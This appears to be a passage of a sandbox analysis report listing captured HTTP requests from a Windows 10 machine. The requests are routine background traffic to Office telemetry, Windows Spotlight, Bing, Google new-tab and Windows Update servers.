Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015514Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=7ef99f61a8404625883240514b03f228&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-280815&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p=Cache-Control: no-cacheMS-CV: xXqcPXnFSkyQ2Zvx.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015515Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d5428c546e61491186dfb391cab69572&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-338388&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=531098720&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p=Cache-Control: no-cacheMS-CV: xXqcPXnFSkyQ2Zvx.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639329_16GDTY03HO5SY2UBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399230513_1725RTMX37W73V5P6&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399230515_1O5S4SCQK1NL15G8R&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015518Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a10935dcb12b419ea74ceeed8eedab39&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-338387&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=530911393,531174684,531174684&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p=Cache-Control: no-cacheMS-CV: xXqcPXnFSkyQ2Zvx.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239385875216_1P4KL3FZIJKZ633OT&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239385875221_117D6BR0FMTM7OD16&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+Fpfdok9HKr2uev&MD=SvtX7gKP HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639703_1XZVEAKL3PD7EZGL4&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418587_1WAY0EU9WVN81W6N5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418588_1PJ4HLSB51V9JOSDD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239401309281_1BHGHXV93ULWJT1FQ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
